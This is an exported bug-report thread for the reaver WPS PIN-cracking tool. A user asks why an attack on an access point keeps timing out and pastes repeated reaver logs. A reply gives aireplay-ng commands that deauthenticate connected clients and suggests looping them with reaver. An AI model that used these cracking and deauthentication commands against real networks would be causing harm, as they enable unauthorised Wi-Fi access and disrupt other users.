12345678910111213141516171818 / reaver-wps

Automatically exported from code.google.com/p/reaver-wps
0 stars 0 forks source link

Receive timeout occurred/ [!] WPS transaction failed (code: 0x04) #381

Open GoogleCodeExporter opened 8 years ago

GoogleCodeExporter commented 8 years ago
0. What version of Reaver are you using?  (Only defects against the latest
version will be considered.)
-- reaver-wps-1.4-svn

1. What operating system are you using (Linux is the only supported OS)?
-- Debian -BT5
Hello  everybody

Im having a problem with cracking WPS. Im working on BT5 with reaver 1.4 
(reaver-wps-1.4-svn), using command "reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv" . 
My wireless card is TP-LINK WN722N .Wash show me only 1 device with WPS enable 
(signal around ~67)all goes well untill i enter command... 

yesterday morning:

__________________________________
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: Lukas_Kitek_WIFI)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request

i tried again after few hours and got something diffrient:
_______________________________

+] 6.40% complete @ 2012-08-19 11:19:46 (5 seconds/pin)
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] 6.40% complete @ 2012-08-19 11:20:23 (5 seconds/pin)
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[!] WARNING: 10 failed connections in a row
[+] 6.40% complete @ 2012-08-19 11:23:19 (5 seconds/pin)

Can someone tell me what im doing wrong ? i read about that AP may disable WPS 
for 5 minutes -is that a problem ? Is there any way to continue cracking after 
restarting pc from the monent i end last time (6.14% pin 06945671) i dont want 
to start this over and over again... after few minutes cracking it show me some 
errors. Any idea how to fix this problem ?  I wanted to try some other version 
but i have no idea how to install reaver them. Im using this instruction to 
install my version

tar -xjf reaver-wps-1.4-svn.tar.bzip2 
cd reaver-wps-1.4-svn 
./configure --prefix=/usr 
make 
make install

2. Is your wireless card in monitor mode (yes/no)?
-- yes
3. What is the signal strength of the Access Point you are trying to crack?
-- ~67
4. What is the manufacturer and model # of the device you are trying to
crack?

5. What is the entire command line string you are supplying to reaver?
-- reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv

6. Please describe what you think the issue is.
No idea...
7. Paste the output from Reaver below.

+] 6.40% complete @ 2012-08-19 11:19:46 (5 seconds/pin)
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] 6.40% complete @ 2012-08-19 11:20:23 (5 seconds/pin)
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 06945671
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[!] WARNING: 10 failed connections in a row
[+] 6.40% complete @ 2012-08-19 11:23:19 (5 seconds/pin)

Original issue reported on code.google.com by boot.2...@gmail.com on 20 Aug 2012 at 12:02

GoogleCodeExporter commented 8 years ago
Have the same issue with one AP. Tried different switches and values: -d, -t 
etc - no effect. AP signal strength is 39dB. With another APs i have no 
problems.

Original comment by gra...@gmail.com on 8 Nov 2012 at 5:43

GoogleCodeExporter commented 8 years ago
It could be an issue with clients connected to the AP while you are running 
reaver. If you have permission to, try de-authing all the clients and running 
again. It may be necessary to perform several de-auths during the entire reaver 
process. You can use aireplay-ng to perform a de-auth of clients. eg.

aireplay-ng -0 1 -a APMAC -c CLIENTMAC ath0 (de-auth specific client)
or
aireplay-ng -0 1 -a APMAC ath0 (de-auth all clients, not as effective as the 
above)

If you find you need to perform a de-auth every so often or reaver will keep 
failing, try looking in to writing your own script to rotate reaver and 
aireplay-ng in a loop utilising reavers -g switch to trigger the next loop.

Hope that helps you.

Original comment by bennett_...@hotmail.com on 18 Feb 2013 at 1:02